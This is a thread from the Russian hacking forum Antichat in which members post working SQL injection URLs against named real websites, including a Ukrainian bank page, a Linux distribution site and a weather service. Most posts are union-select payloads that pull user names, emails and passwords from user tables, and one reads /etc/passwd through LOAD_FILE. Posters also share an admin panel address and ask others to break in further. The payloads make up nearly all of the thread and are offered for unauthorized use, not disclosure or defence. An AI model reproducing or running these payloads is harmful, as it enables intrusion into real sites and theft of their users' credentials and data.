HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 12.04.2007, 18:03
V.I.P
Познающий
Регистрация: 06.04.2007
Сообщений: 77
Провел на форуме:
1062869

Репутация: 136
По умолчанию

Константин сори за баян,не углядишь,за всеми.
пасы не нашёл(.юзеров вытягивать лимитом.
http://www.r-id.ru/main/press/news?nid=-31+union+select+1,concat_ws(char(1),name, email),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 ,20,21,22+from+users+limit+1,1/*
Если найдёте,админка - http://www.r-id.ru/admin/in.php

http://spb-foto.ru/goods/?id=3678' -3 версия(
 
Ответить с цитированием

  #2  
Старый 12.04.2007, 19:09
fYt
Познающий
Регистрация: 11.01.2007
Сообщений: 82
Провел на форуме:
592893

Репутация: 108
По умолчанию

http://www.bendruomenes.lt/news.php?id=232604+union+select+1,password,USER(), DATABASE(),5,VERSION(),7,8,9,10+from+users/*&strid=11792
моя первая скуля
 
Ответить с цитированием

  #3  
Старый 12.04.2007, 20:35
UniSex
Новичок
Регистрация: 12.04.2007
Сообщений: 2
Провел на форуме:
65799

Репутация: 9
По умолчанию

http://www.rarib.ru/pages.cfm?f=law/faq&cat=-102+union+select+1,2,3,LOAD_FILE(char(47,101,116,9 9,47,112,97,115,115,119,100)),5,6,7/*

http://www.rarib.ru/pages.cfm?f=law/faq&cat=-102+union+select+1,2,3,user,5,6,7+from+user/*

http://www.rarib.ru/pages.cfm?f=law/faq&cat=-102+union+select+1,2,3,passwd,5,6,7+from+user/*

Рacковыряйте этот сервант У меня дальше не получилось.Есть приличная база на форуме. SMF =(

Кстати - первая скуЛя

Последний раз редактировалось UniSex; 12.04.2007 в 20:40..
 
Ответить с цитированием

  #4  
Старый 12.04.2007, 23:44
big_BRAT
Познающий
Регистрация: 24.12.2006
Сообщений: 90
Провел на форуме:
1292655

Репутация: 168
По умолчанию

Copyright (c) 2002-2007 «Райффайзен Банк Аваль»
Зроблено в Студiї Артємiя Лєбєдєва
как я понял выдрать от туда нечего не получится, стоит ограничение на принимаемое количество значений в параметре "ИД". если кто-то сможет, не полинитесь и поделитесь.
/пс. бабло не трогать /

http://www.aval.ua/personal/metals_sale/coins/?id=3'84

/*
SELECT coin_id, producer_id, themes_id, series_id, views_id, coining_id, bijou_id, name_ukr name, picture, picture2, picture3, description_ukr description, price, nominal_ukr nominal, weight, diameter, thickuess, year, tirazh, is_published
FROM
coin
WHERE
coin_id = 3'84
*/
ошибку смотрим в исходниках страницы
===================================
http://www.business-ua.com/icard2.phtml?id=-1836+union+select+1,2,3,4,5,6,7,8,9,10,11,12/*
 
Ответить с цитированием

  #5  
Старый 13.04.2007, 00:36
L0rd_Ha0S
Участник форума
Регистрация: 25.01.2006
Сообщений: 158
Провел на форуме:
1000724

Репутация: 361
По умолчанию

Код:
http://vectorlinux.com/article.php?sid=-1+union+select+1,2,3,concat(user(),char(58),database(),char(58),version()),5,6,7,8/*
Vector Linux, говорят ничё такой Live-CD
 
Ответить с цитированием

  #6  
Старый 13.04.2007, 00:56
XTErner
Участник форума
Регистрация: 13.03.2007
Сообщений: 120
Провел на форуме:
1604641

Репутация: 590
По умолчанию

Цитата:
Сообщение от HaOS  
Код:
http://vectorlinux.com/article.php?sid=-1+union+select+1,2,3,concat(user(),char(58),database(),char(58),version()),5,6,7,8/*
Код:
http://vectorlinux.com/article.php?sid=-1+union+select+1,2,name,pass,email,6,7,8+from+users/*
 
Ответить с цитированием

  #7  
Старый 13.04.2007, 01:12
fYt
Познающий
Регистрация: 11.01.2007
Сообщений: 82
Провел на форуме:
592893

Репутация: 108
По умолчанию

http://www.allaboutjazz.com/php/news.php?id=86311+union+select+1,2,USER(),VERSION( ),5,DATABASE(),7,8,9,10,11,12,13,14,15,16,17,18,19 ,20,21,22,23,24,25,26,27/*
Нашел таблицу contact, может кто дальше зайдет.
 
Ответить с цитированием

  #8  
Старый 13.04.2007, 05:54
Digimortal
Banned
Регистрация: 22.08.2006
Сообщений: 608
Провел на форуме:
6144796

Репутация: 1095


По умолчанию

Код:
http://www.emotive.ru/shop/index.php?CID=-1+union+select+1,concat(version(),char(58),user(),char(58),database())--
Код:
http://www.yuretz.ru/prikol.php?id=471+and+version()%3E4
Код:
http://www.temporeal.com.br/produtos.php?id=-1/**/union/**/select/**/1,2,3,4,5,6,user(),version(),9,10,11,12,13,14,16,17,18,19,database(),21,22,23,24,25,26,27,28,29,30,31,32,33/*
 
Ответить с цитированием

  #9  
Старый 13.04.2007, 07:52
Isis
Флудер
Регистрация: 20.11.2006
Сообщений: 3,315
Провел на форуме:
16641028

Репутация: 2371


По умолчанию

GisMeteo.ru
Код:
http://avia.gismeteo.ru/avia.php?id=-27612+union+select+1,2,3,4,5,6,concat(convert(database()+using+cp1251),convert(char(59)+using+cp1251),convert(user()+using+cp1251),convert(char(59)+using+cp1251),convert(version()+using+cp1251))/*
 
Ответить с цитированием

  #10  
Старый 13.04.2007, 10:09
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

http://www.allaboutjazz.com
Уже раз 10 постят
Цитата:
http://www.huinoeau.com/bio_inst.php?id=-9+union+select+1,2,3,4,convert(concat(username,cha r(58),pword)+using+latin1),6,7,8,9+from+users

Последний раз редактировалось Spyder; 13.04.2007 в 12:00..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.